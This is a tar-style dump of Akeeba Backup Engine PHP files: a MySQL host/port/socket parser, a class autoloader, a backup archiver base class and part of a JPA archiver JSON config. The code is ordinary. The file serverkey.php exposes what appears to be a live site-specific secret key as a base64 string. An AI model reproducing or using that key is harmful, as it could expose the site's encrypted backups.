	 * * Port and socket MUST be provided separately from the hostname. Hostnames in the form of 127.0.0.1:8336 are no
	 *   longer acceptable.
	 *
	 * * The hostname "localhost" has special meaning. It means "use named pipes / sockets". Anything else uses TCP/IP.
	 *   This is the ONLY way to specify a. TCP/IP or b. named pipes / sockets connection.
	 *
	 * * You SHOULD NOT use a numeric TCP/IP port with hostname localhost. For some strange reason it's still allowed
	 *   but the manual is self-contradicting over what this really does...
	 *
	 * * Likewise you CANNOT use a socket / named pipe path with hostname other than localhost. Named pipes and sockets
	 *   can only be used with the local machine, therefore the hostname MUST be localhost.
	 *
	 * * You cannot give a TCP/IP port number in the socket parameter or a named pipe / socket path to the port
	 *   parameter. This leads to an error.
	 *
	 * * You cannot use an empty string, 0 or any other non-null value when you want to omit either of the port or
	 *   socket parameters.
	 *
	 * * Persistent connections must be prefixed with the string literal 'p:'. Therefore you cannot have a hostname
	 *   called 'p' (not to mention that'd be daft). You can also not specify something like 'p:1234' to make a
	 *   persistent connection to a port. This wasn't even supported by the old MySQL driver. As a result we don't even
	 *   try to catch that degenerate case.
	 *
	 * This method will try to apply all of the aforementioned rules with one additional disambiguation rule:
	 *
	 * A port / socket set in the hostname overrides a port specified separately. A port specified separately overrides
	 * a socket specified separately.
	 *
	 * @param   string  $host    The hostname. Can contain legacy hostname:port or hostname:sc=ocket definitions.
	 * @param   int     $port    The port. Alternatively it can contain the path to the socket.
	 * @param   string  $socket  The path to the socket. You could abuse it to enter the port number. DON'T!
	 *
	 * @return  void  All parameters are passed by reference.
	 *
	 * @since   9.2.3
	 */
	protected function fixHostnamePortSocket(&$host, &$port, &$socket)
	{
		// Is this a persistent connection? Persistent connections are indicated by the literal "p:" in front of the hostname
		$isPersistent = (substr($host, 0, 2) == 'p:');
		$host         = $isPersistent ? substr($host, 2) : $host;

		// If the hostname looks like a *NIX filename we need to treat it as a socket.
		if (preg_match('#^/([^/]*/)?[^/]#', $host))
		{
			$socket = $host;
			$host = null;
		}

		// Special case: Windows named pipe (\\.\something\or\another), with or without parentheses.
		$isNamedPipe = false;

		if (preg_match("#^\(?\\\\\\\\\.\\\\#", $host))
		{
			$isNamedPipe = true;
			$socket = $host;
			$host = '.';
		}

		/*
		 * Unlike mysql_connect(), mysqli_connect() takes the port and socket as separate arguments. Therefore, we
		 * have to extract them from the host string.
		 */
		$port = !empty($port) ? $port : 3306;

		if ($host === 'localhost')
		{
			$port = null;
		}
		// UNIX socket URI, e.g. 'unix:/path/to/unix/socket.sock'
		elseif (preg_match('/^unix:(?P<socket>[^:]+)$/', $host, $matches))
		{
			$host   = null;
			$socket = $matches['socket'];
			$port   = null;
		}
		// It's an IPv4 address with or without port
		elseif (preg_match('/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Square-bracketed IPv6 address with or without port, e.g. [fe80:102::2%eth1]:3306
		elseif (preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Named host (e.g example.com or localhost) with or without port
		elseif (preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i', $host, $matches))
		{
			$host = $matches['host'];

			if (!empty($matches['port']))
			{
				$port = $matches['port'];
			}
		}
		// Empty host, just port, e.g. ':3306'
		elseif (preg_match('/^:(?P<port>[^:]+)$/', $host, $matches))
		{
			$host = '127.0.0.1';
			$port = $matches['port'];
		}
		// ... else we assume normal (naked) IPv6 address, so host and port stay as they are or default

		// If there is both a valid port and a valid socket we will choose the socket instead
		if (is_numeric($port) && !empty($socket))
		{
			$port = null;
		}

		// Get the port number or socket name
		if (is_numeric($port))
		{
			$port   = (int) $port;
			$socket = '';
		}
		elseif (is_string($port) && empty($socket))
		{
			$socket = $port;
			$port = null;
		}

		// If there is a socket the hostname must be null
		if (!empty($socket))
		{
			$host = null;
		}

		// If there is a socket the port must be null
		if (!empty($socket))
		{
			$port = null;
		}

		// If there is a numeric port and the hostname is 'localhost' convert to 127.0.0.1
		if (is_numeric($port) && ($host === 'localhost'))
		{
			$host = '127.0.0.1';
		}

		/**
		 * Special case: MySQL sockets on Windows need to be enclosed with parentheses and have \\.\ in front.
		 *
		 * @see https://dev.mysql.com/doc/mysql-shell/8.0/en/mysql-shell-connection-socket.html
		 * @see https://www.php.net/manual/en/mysqli.quickstart.connections.php
		 */
		if (!empty($socket) && $isNamedPipe)
		{
			$host = '.';

			/**
			 * Remove any existing parentheses, otherwise URL-decode the socket (in case it was given in the correct
			 * percent encoded format).
			 */
			if (substr($socket, 0, 1) === '(' && substr($socket, -1) === ')')
			{
				$socket = substr($socket, 1, -1);

			}
			else
			{
				$socket = rawurldecode($socket);
			}

			// If the socket doesn't already start with \\.\ add it
			if (substr($socket, 0, 4) !== '\\\\.\\')
			{
				$socket = '\\\\.\\' . $socket;
			}

			$socket = '(' . $socket . ')';
		}

		// Finally, if it's a persistent connection we have to prefix the hostname with 'p:'
		$host = ($isPersistent && $host !== null) ? "p:$host" : $host;
	}

}com_akeeba/BackupEngine/Autoloader.php000060400000006362152455305260013767 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

/**
 * The main class autoloader for AkeebaEngine
 */
class Autoloader
{
	/**
	 * An instance of this autoloader
	 *
	 * @var   Autoloader
	 */
	public static $autoloader = null;

	/**
	 * The path to the Akeeba Engine root directory
	 *
	 * @var   string
	 */
	public static $enginePath = null;

	/**
	 * The directories where Akeeba Engine platforms are stored
	 *
	 * @var      array
	 */
	public static $platformDirs = null;

	/**
	 * Public constructor. Registers the autoloader with PHP.
	 */
	public function __construct()
	{
		self::$enginePath = __DIR__;

		spl_autoload_register([$this, 'autoload_akeeba_engine']);
	}

	/**
	 * Initialise this autoloader
	 *
	 * @return  Autoloader
	 */
	public static function init()
	{
		if (self::$autoloader == null)
		{
			self::$autoloader = new self;
		}

		return self::$autoloader;
	}

	/**
	 * The actual autoloader
	 *
	 * @param   string  $className  The name of the class to load
	 *
	 * @return  void
	 */
	public function autoload_akeeba_engine($className)
	{
		// Trim the trailing backslash
		$className = ltrim($className, '\\');

		// Make sure the class has an Akeeba\Engine prefix
		if (substr($className, 0, 13) != 'Akeeba\\Engine')
		{
			return;
		}

		// Remove the prefix and explode on backslashes
		$className = substr($className, 14);
		$class     = explode('\\', $className);

		// Do we have a list of platform directories?
		if (is_null(self::$platformDirs) && class_exists('\\Akeeba\\Engine\\Platform', false))
		{
			self::$platformDirs = Platform::getPlatformDirectories();

			if (!is_array(self::$platformDirs))
			{
				self::$platformDirs = [];
			}
		}

		$rootPaths = [self::$enginePath];

		if (is_array(self::$platformDirs))
		{
			$rootPaths = array_merge(
				self::$platformDirs, [self::$enginePath]
			);
		}

		foreach ($rootPaths as $rootPath)
		{
			// First try finding in structured directory format (preferred)
			$path = $rootPath . '/' . implode('/', $class) . '.php';

			if (@file_exists($path))
			{
				include_once $path;
			}

			// Then try the duplicate last name structured directory format (not recommended)
			if (!class_exists($className, false))
			{
				reset($class);
				$lastPart = end($class);
				$path     = $rootPath . '/' . implode('/', $class) . '/' . $lastPart . '.php';

				if (@file_exists($path))
				{
					include_once $path;
				}
			}
		}
	}
}

// Register the Akeeba Engine autoloader
Autoloader::init();
com_akeeba/BackupEngine/serverkey.php000060400000000166152455305260013703 0ustar00<?php defined('AKEEBAENGINE') or die(); define('AKEEBA_SERVERKEY', 'NjdiZmViODZmZjUxY2ZmNDU0YzY4NjkzMDMyOThiMWI='); ?>com_akeeba/BackupEngine/Archiver/BaseArchiver.php000060400000054544152455305260015776 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;

if (!defined('AKEEBA_CHUNK'))
{
	$configuration = Factory::getConfiguration();
	$chunksize     = $configuration->get('engine.archiver.common.chunk_size', 1048576);
	define('AKEEBA_CHUNK', $chunksize);
}

if (!function_exists('aksubstr'))
{
	/**
	 * Attempt to use mbstring for getting parts of strings
	 *
	 * @param   string    $string
	 * @param   int       $start
	 * @param   int|null  $length
	 *
	 * @return  string
	 */
	function aksubstr($string, $start, $length = null)
	{
		return function_exists('mb_substr') ? mb_substr($string, $start, $length, '8bit') :
			substr($string, $start, $length);
	}
}

/**
 * Abstract class for custom archiver implementations
 */
abstract class BaseArchiver extends BaseFileManagement
{
	/** @var   array  The last part which has been finalized and waits to be post-processed */
	public $finishedPart = [];

	/** @var resource File pointer to the archive being currently written to */
	protected $fp = null;

	/** @var resource File pointer to the archive's central directory file (for ZIP) */
	protected $cdfp = null;

	/** @var string The name of the file holding the archive's data, which becomes the final archive */
	protected $_dataFileName;

	/** @var string Archive full path without extension */
	protected $dataFileNameWithoutExtension = '';

	/** @var bool Should I store symlinks as such (no dereferencing?) */
	protected $storeSymlinkTarget = false;

	/** @var int Part size for split archives, in bytes */
	protected $partSize = 0;

	/** @var bool Should I use Split ZIP? */
	protected $useSplitArchive = false;

	/** @var int Permissions for the backup archive part files */
	protected $permissions = null;

	/**
	 * Release file pointers when the object is being serialized
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Release file pointers when the object is being destroyed
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __destruct()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Create a new archive part file (but does NOT open it for writing)
	 *
	 * @param   bool  $finalPart  True if this is the final part
	 *
	 * @return  bool  False if creating a new part fails
	 */
	abstract protected function createNewPartFile($finalPart = false);

	/**
	 * Create a new part file and open it for writing
	 *
	 * @param   bool  $finalPart  Is this the final part?
	 *
	 * @return  void
	 */
	protected function createAndOpenNewPart($finalPart = false)
	{
		@$this->fclose($this->fp);
		$this->fp = null;

		// Not enough space on current part, create new part
		if (!$this->createNewPartFile($finalPart))
		{
			$extension = $this->getExtension();
			$extension = ltrim(strtoupper($extension), '.');

			throw new ErrorException("Could not create new $extension part file " . basename($this->_dataFileName));
		}

		$this->openArchiveForOutput(true);
	}

	/**
	 * Create a new backup archive
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	protected function createNewBackupArchive()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Killing old archive");

		$this->fp = $this->fopen($this->_dataFileName, "w");

		if ($this->fp === false)
		{
			if (file_exists($this->_dataFileName))
			{
				@unlink($this->_dataFileName);
			}

			@touch($this->_dataFileName);
			@chmod($this->_dataFileName, 0666);

			$this->fp = $this->fopen($this->_dataFileName, "w");

			if ($this->fp !== false)
			{
				throw new ErrorException("Could not open archive file '{$this->_dataFileName}' for append!");
			}
		}

		@ftruncate($this->fp, 0);
	}

	/**
	 * Opens the backup archive file for output. Returns false if the archive file cannot be opened in binary append
	 * mode.
	 *
	 * @param   bool  $force  Should I forcibly reopen the file? If false, I'll only open the file if the current
	 *                        file pointer is null.
	 *
	 * @return  void
	 */
	protected function openArchiveForOutput($force = false)
	{
		if (is_null($this->fp) || $force)
		{
			$this->fp = $this->fopen($this->_dataFileName, "a");
		}

		if ($this->fp === false)
		{
			$this->fp = null;

			throw new ErrorException("Could not open archive file '{$this->_dataFileName}' for append!");
		}
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	protected function humanToIntegerBytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower($val[strlen($val) - 1]);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Get the PHP memory limit in bytes
	 *
	 * @return int|null  Memory limit in bytes or null if we can't figure it out.
	 */
	protected function getMemoryLimit()
	{
		if (!function_exists('ini_get'))
		{
			return null;
		}

		$memLimit = ini_get("memory_limit");

		if ((is_numeric($memLimit) && ($memLimit < 0)) || !is_numeric($memLimit))
		{
			$memLimit = 0; // 1.2a3 -- Rare case with memory_limit < 0, e.g. -1Mb!
		}

		$memLimit = $this->humanToIntegerBytes($memLimit);

		return $memLimit;
	}

	/**
	 * Enable storing of symlink target if we are not on Windows
	 *
	 * @return  void
	 */
	protected function enableSymlinkTargetStorage()
	{
		$configuration       = Factory::getConfiguration();
		$dereferenceSymlinks = $configuration->get('engine.archiver.common.dereference_symlinks', true);

		if ($dereferenceSymlinks)
		{
			return;
		}

		// We are told not to dereference symlinks. Are we on Windows?
		$isWindows = (DIRECTORY_SEPARATOR == '\\');

		if (function_exists('php_uname'))
		{
			$isWindows = stristr(php_uname(), 'windows');
		}

		// If we are not on Windows, enable symlink target storage
		$this->storeSymlinkTarget = !$isWindows;
	}

	/**
	 * Gets the file size and last modification time (also works on virtual files and symlinks)
	 *
	 * @param   string  $sourceNameOrData  File path to the source file or source data (if $isVirtual is true)
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  array
	 */
	protected function getFileSizeAndModificationTime(&$sourceNameOrData, $isVirtual, $isSymlink, $isDir)
	{
		// Get real size before compression
		if ($isVirtual)
		{
			$fileSize    = akstrlen($sourceNameOrData);
			$fileModTime = time();

			return [$fileSize, $fileModTime];
		}


		if ($isSymlink)
		{
			$fileSize    = akstrlen(@readlink($sourceNameOrData));
			$fileModTime = 0;

			return [$fileSize, $fileModTime];
		}

		// Is the file readable?
		if (!is_readable($sourceNameOrData) && !$isDir)
		{
			// Really, REALLY check if it is readable (PHP sometimes lies, dammit!)
			$myFP = @$this->fopen($sourceNameOrData, 'r');

			if ($myFP === false)
			{
				// Unreadable file, skip it.
				throw new WarningException('Unreadable file ' . $sourceNameOrData . '. Check permissions');
			}

			@$this->fclose($myFP);
		}

		// Get the file size
		$fileSize    = $isDir ? 0 : @filesize($sourceNameOrData);
		$fileModTime = $isDir ? 0 : @filemtime($sourceNameOrData);

		return [$fileSize, $fileModTime];
	}

	/**
	 * Get the preferred compression method for a file
	 *
	 * @param   int   $fileSize   File size in bytes
	 * @param   int   $memLimit   Memory limit in bytes
	 * @param   bool  $isDir      Is it a directory?
	 * @param   bool  $isSymlink  Is it a symlink?
	 *
	 * @return  int  Compression method to use: 0 (uncompressed) or 1 (gzip deflate)
	 */
	protected function getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink)
	{
		// If we don't have gzip installed we can't compress anything
		if (!function_exists("gzcompress"))
		{
			return 0;
		}

		// Don't compress directories or symlinks
		if ($isDir || $isSymlink)
		{
			return 0;
		}

		// Do not compress files over the compression threshold
		if ($fileSize >= _AKEEBA_COMPRESSION_THRESHOLD)
		{
			return 0;
		}

		// No memory limit, file smaller than the compression threshold: always compress.
		if (is_numeric($memLimit) && ($memLimit == 0))
		{
			return 1;
		}

		// Non-zero memory limit, PHP can report memory usage, see if there's enough memory.
		if (is_numeric($memLimit) && function_exists("memory_get_usage"))
		{
			$availableRAM = $memLimit - memory_get_usage();
			// Conservative approach: if the file size is over 40% of the available memory we won't compress.
			$compressionMethod = (($availableRAM / 2.5) >= $fileSize) ? 1 : 0;

			return $compressionMethod;
		}

		// Non-zero memory limit, PHP can't report memory usage, compress only files up to 512Kb (very conservative)
		return ($fileSize <= 524288) ? 1 : 0;
	}

	/**
	 * Checks if the file exists and is readable
	 *
	 * @param   string  $sourceNameOrData  The path to the file being compressed, or the raw file data for virtual files
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  void
	 *
	 * @throws  WarningException
	 */
	protected function testIfFileExists(&$sourceNameOrData, &$isVirtual, &$isDir, &$isSymlink)
	{
		if ($isVirtual || $isDir)
		{
			return;
		}

		if (!@file_exists($sourceNameOrData))
		{
			if ($isSymlink)
			{
				throw new WarningException('The symlink ' . $sourceNameOrData . ' points to a file or folder that no longer exists and will NOT be backed up.');
			}

			throw new WarningException('The file ' . $sourceNameOrData . ' no longer exists and will NOT be backed up. Are you backing up temporary or cache data?');
		}

		if (!@is_readable($sourceNameOrData))
		{
			throw new WarningException('Unreadable file ' . $sourceNameOrData . '. Check permissions.');
		}
	}

	/**
	 * Try to get the compressed data for a file
	 *
	 * @param   string  $sourceNameOrData
	 * @param   bool    $isVirtual
	 * @param   int     $compressionMethod
	 * @param   string  $zdata
	 * @param   int     $unc_len
	 * @param   int     $c_len
	 *
	 * @return  void
	 */
	protected function getZData(&$sourceNameOrData, &$isVirtual, &$compressionMethod, &$zdata, &$unc_len, &$c_len)
	{
		// Get uncompressed data
		$udata =& $sourceNameOrData;

		if (!$isVirtual)
		{
			$udata = @file_get_contents($sourceNameOrData);
		}

		// If the compression fails, we will let it behave like no compression was available
		$c_len             = $unc_len;
		$compressionMethod = 0;

		// Proceed with compression
		$zdata = @gzcompress($udata);

		if ($zdata !== false)
		{
			// The compression succeeded
			unset($udata);
			$compressionMethod = 1;
			$zdata             = aksubstr($zdata, 2, -4);
			$c_len             = akstrlen($zdata);
		}
	}

	/**
	 * Returns the bytes available for writing data to the current part file (i.e. part size minus current offset)
	 *
	 * @return  int
	 */
	protected function getPartFreeSize()
	{
		clearstatcache();
		$current_part_size = @filesize($this->_dataFileName);

		return (int) $this->partSize - ($current_part_size === false ? 0 : $current_part_size);
	}

	/**
	 * Enable split archive creation where possible
	 *
	 * @return  void
	 */
	protected function enableSplitArchives()
	{
		$configuration = Factory::getConfiguration();
		$partSize      = $configuration->get('engine.archiver.common.part_size', 0);

		// If the part size is less than 64Kb we won't enable split archives
		if ($partSize < 65536)
		{
			return;
		}

		$extension            = $this->getExtension();
		$altExtension         = substr($extension, 0, 2) . '01';
		$archiveTypeUppercase = strtoupper(substr($extension, 1));

		Factory::getLog()->info(__CLASS__ . " :: Split $archiveTypeUppercase creation enabled");

		$this->useSplitArchive              = true;
		$this->partSize                     = $partSize;
		$this->dataFileNameWithoutExtension =
			dirname($this->_dataFileName) . '/' . basename($this->_dataFileName, $extension);
		$this->_dataFileName                = $this->dataFileNameWithoutExtension . $altExtension;

		// Indicate that we have at least 1 part
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart(1);
	}

	/**
	 * Write a file's GZip compressed data to the archive, taking into account archive splitting
	 *
	 * @param   string  $zdata  The compressed data to write to the archive
	 *
	 * @return  void
	 */
	protected function putRawDataIntoArchive(&$zdata)
	{
		// Single part archive. Just dump the compressed data.
		if (!$this->useSplitArchive)
		{
			$this->fwrite($this->fp, $zdata);

			return;
		}

		// Split JPA. Check if we need to split the part in the middle of the data.
		$freeSpaceInPart = $this->getPartFreeSize();

		// Nope. We have enough space to write all of the data in this part.
		if ($freeSpaceInPart >= akstrlen($zdata))
		{
			$this->fwrite($this->fp, $zdata);

			return;
		}

		$bytesLeftInData = akstrlen($zdata);

		while ($bytesLeftInData > 0)
		{
			// Try to write to the archive. We can only write as much bytes as the free space in the backup archive OR
			// the total data bytes left, whichever is lower.
			$bytesWritten = $this->fwrite($this->fp, $zdata, min($bytesLeftInData, $freeSpaceInPart));

			// Since we may have written fewer bytes than anticipated we use the real bytes written for calculations
			$freeSpaceInPart -= $bytesWritten;
			$bytesLeftInData -= $bytesWritten;

			// If we still have data to write, remove the part already written and keep the rest
			if ($bytesLeftInData > 0)
			{
				$zdata = aksubstr($zdata, -$bytesLeftInData);
			}

			// If the part file is full create a new one
			if ($freeSpaceInPart <= 0)
			{
				// Create new part
				$this->createAndOpenNewPart();

				// Get its free space
				$freeSpaceInPart = $this->getPartFreeSize();
			}
		}

		// Tell PHP to free up some memory
		$zdata = null;
	}

	/**
	 * Begin or resume adding an uncompressed file into the archive.
	 *
	 * IMPORTANT! Only this case can be spanned across steps: uncompressed, non-virtual data
	 *
	 * @param   string  $sourceNameOrData  The path to the file we are reading from.
	 * @param   int     $fileLength        The file size we are supposed to read, in bytes.
	 * @param   int     $resumeOffset      Offset in the file to resume reading from
	 *
	 * @return  bool  True to indicate more processing is required in the next step
	 */
	protected function putUncompressedFileIntoArchive(&$sourceNameOrData, $fileLength = 0, $resumeOffset = null)
	{
		// Copy the file contents, ignore directories
		$sourceFilePointer = @fopen($sourceNameOrData, "r");

		if ($sourceFilePointer === false)
		{
			// If we have already written the file header and can't read the data your archive is busted.
			throw new ErrorException('Unreadable file ' . $sourceNameOrData . '. Check permissions. Your archive is corrupt!');
		}

		// Seek to the resume point if required
		if (!is_null($resumeOffset))
		{
			// Seek to new offset
			$seek_result = @fseek($sourceFilePointer, $resumeOffset);

			if ($seek_result === -1)
			{
				// What?! We can't resume!
				$this->conditionalFileClose($sourceFilePointer);

				throw new ErrorException(sprintf('Could not resume packing of file %s. Your archive is damaged!', $sourceNameOrData));
			}

			// Change the uncompressed size to reflect the remaining data
			$fileLength -= $resumeOffset;
		}

		$mustBreak = $this->putDataFromFileIntoArchive($sourceFilePointer, $fileLength);

		$this->conditionalFileClose($sourceFilePointer);

		return $mustBreak;
	}

	/**
	 * Return the requested permissions for the backup archive file.
	 *
	 * @return  int
	 * @since   8.0.0
	 */
	protected function getPermissions(): int
	{
		if (!is_null($this->permissions))
		{
			return $this->permissions;
		}

		$configuration     = Factory::getConfiguration();
		$permissions       = $configuration->get('engine.archiver.common.permissions', '0666') ?: '0666';
		$this->permissions = octdec($permissions);

		return $this->permissions;
	}

	/**
	 * Put up to $fileLength bytes of the file pointer $sourceFilePointer into the backup archive. Returns true if we
	 * ran out of time and need to perform a step break. Returns false when the whole quantity of data has been copied.
	 * Throws an ErrorException if something terrible happens.
	 *
	 * @param   resource  $sourceFilePointer  The pointer to the input file
	 * @param   int       $fileLength         How many bytes to copy
	 *
	 * @return  bool  True to indicate we need to resume packing the file in the next step
	 */
	private function putDataFromFileIntoArchive(&$sourceFilePointer, &$fileLength)
	{
		// Get references to engine objects we're going to be using
		$configuration = Factory::getConfiguration();
		$timer         = Factory::getTimer();
		$isEOF         = false;

		// Quick copy data into the archive, AKEEBA_CHUNK bytes at a time
		while (!$isEOF && ($timer->getTimeLeft() > 0) && ($fileLength > 0))
		{
			// Normally I read up to AKEEBA_CHUNK bytes at a time, unless the remaining $fileLength is smaller.
			$chunkSize = min(AKEEBA_CHUNK, $fileLength);

			// Do I have a split ZIP?
			if ($this->useSplitArchive)
			{
				// I must only read up to the free space in the part file if it's less than AKEEBA_CHUNK.
				$free_space = $this->getPartFreeSize();
				$chunkSize  = min($free_space, AKEEBA_CHUNK);

				// If I ran out of free space I have to create a new part file.
				if ($free_space <= 0)
				{
					$this->createAndOpenNewPart();

					// We have created the part. If the user asked for immediate post-proc, break step now.
					if ($configuration->get('engine.postproc.common.after_part', 0))
					{
						$resumeOffset = @ftell($sourceFilePointer);
						$this->conditionalFileClose($sourceFilePointer);

						$configuration->set('volatile.engine.archiver.resume', $resumeOffset);
						$configuration->set('volatile.engine.archiver.processingfile', true);
						$configuration->set('volatile.breakflag', true);

						// Always close the open part when immediate post-processing is requested
						@$this->fclose($this->fp);
						$this->fp = null;

						return true;
					}

					// No immediate post-proc. Recalculate the optimal chunk size.
					$free_space = $this->getPartFreeSize();
					$chunkSize  = min($free_space, AKEEBA_CHUNK);
				}
			}

			// Read some data and write it to the backup archive part file
			$data         = fread($sourceFilePointer, $chunkSize);
			$bytesWritten = $this->fwrite($this->fp, $data, akstrlen($data));

			// Subtract the written bytes from the bytes left to write
			$fileLength -= $bytesWritten;

			/**
			 * Have we reached the End of File?
			 *
			 * When we have read _exactly_ as many bytes as the size of the file we have not, in fact, reached EOF. We
			 * reach the EOF if we try to read _beyond_ the actual end of file.
			 *
			 * So, if we have read exactly as many bytes as the file claimed to be at the start of backup (i.e. the
			 * $fileLength is now 0) we try to read one more byte. If this returns no data (or false, e.g. the file went
			 * away in the meantime) OR PHP reports we reached EOF then we consider we've reached EOF.
			 *
			 * If the file grew in size in the meantime this condition will fail and $isEOF will be false. We will still
			 * exit the while loop because $fileLength === 0 but the next if-block after the while-block will catch this
			 * discrepancy and issue a warning that the file grew in size.
			 */
			$isEOF = feof($sourceFilePointer);

			if (!$isEOF && $fileLength === 0)
			{
				$junk = fread($sourceFilePointer, 1);
				$isEOF = (($junk === false) || (is_string($junk) && strlen($junk) === 0)) || feof($sourceFilePointer);
				fseek($sourceFilePointer, -1, SEEK_CUR);
			}
		}

		/**
		 * We have finished reading the entire file as per its size before we started backing it up. However, we still
		 * have not reached EOF (there's more to the file). This means that the file grew in size in the meantime. Warn
		 * the user.
		 */
		if (!$isEOF && ($timer->getTimeLeft() > 0) && ($fileLength === 0))
		{
			Factory::getLog()->warning(
				'The file grew in size while putting it in the backup archive. If this is a temporary or cache file we advise you to exclude it, or exclude the contents of the temporary / cache folder it is contained in.'
			);
		}

		/**
		 * According to the file size we read when we were writing the file header we have more data to write. However,
		 * we reached the end of the file. This means the file went away or shrunk. We can't reliably go back and
		 * change the file header since it may be in a previous part file that's already been post-processed. All we can
		 * do is try to warn the user.
		 */
		if ($isEOF && ($timer->getTimeLeft() > 0) && ($fileLength > 0))
		{
			throw new ErrorException(
				'The file shrunk or went away while putting it in the backup archive. Your archive is damaged! If this is a temporary or cache file we advise you to exclude it, or exclude the contents of the temporary / cache folder it is contained in.'
			);
		}

		// WARNING!!! The extra $unc_len != 0 check is necessary as PHP won't reach EOF for 0-byte files.
		if (!feof($sourceFilePointer) && ($fileLength != 0))
		{
			// We have to break, or we'll time out!
			$resumeOffset = @ftell($sourceFilePointer);
			$this->conditionalFileClose($sourceFilePointer);

			$configuration->set('volatile.engine.archiver.resume', $resumeOffset);
			$configuration->set('volatile.engine.archiver.processingfile', true);

			return true;
		}

		return false;
	}
}
com_akeeba/BackupEngine/Archiver/jpa.json000060400000004120152455305260014355 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPA_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION"
    },
    "engine.archiver.common.dereference_symlinks": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_TITLE",
        "description": "COM_AKEEBA_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION"
    },
    "engine.archiver.common.part_size": {
        "default": "0",
        "type": "integer",
        "min": "0",
        "max": "2147483648",
        "shortcuts": "0|131072|262144|524288|1048576|2097152|5242880|10485760|20971520|52428800|104857600|268435456|536870912|1073741824|1610612736|2097152000",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_PARTSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_PARTSIZE_DESCRIPTION"
    },
    "engine.archiver.common.permissions": {
        "default": "0666",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_PERMISSIONS_0600|COM_AKEEBA_CONFIG_PERMISSIONS_0644|COM_AKEEBA_CONFIG_PERMISSIONS_0666",
        "enumvalues": "0600|0644|0666",
        "title": "COM_AKEEBA_CONFIG_PERMISSIONS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PERMISSIONS_DESCRIPTION"
    },
    "engine.archiver.common.chunk_size": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_CHUNKSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_CHUNKSIZE_DESCRIPTION"
    },
    "engine.archiver.common.big_file_threshold": {
        "default": "1048576",
        "type": "integer",
        "min": "65536",
        "max": "10485760",
        "shortcuts": "65536|131072|262144|524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BIGFILETHRESHOLD_TITLE",
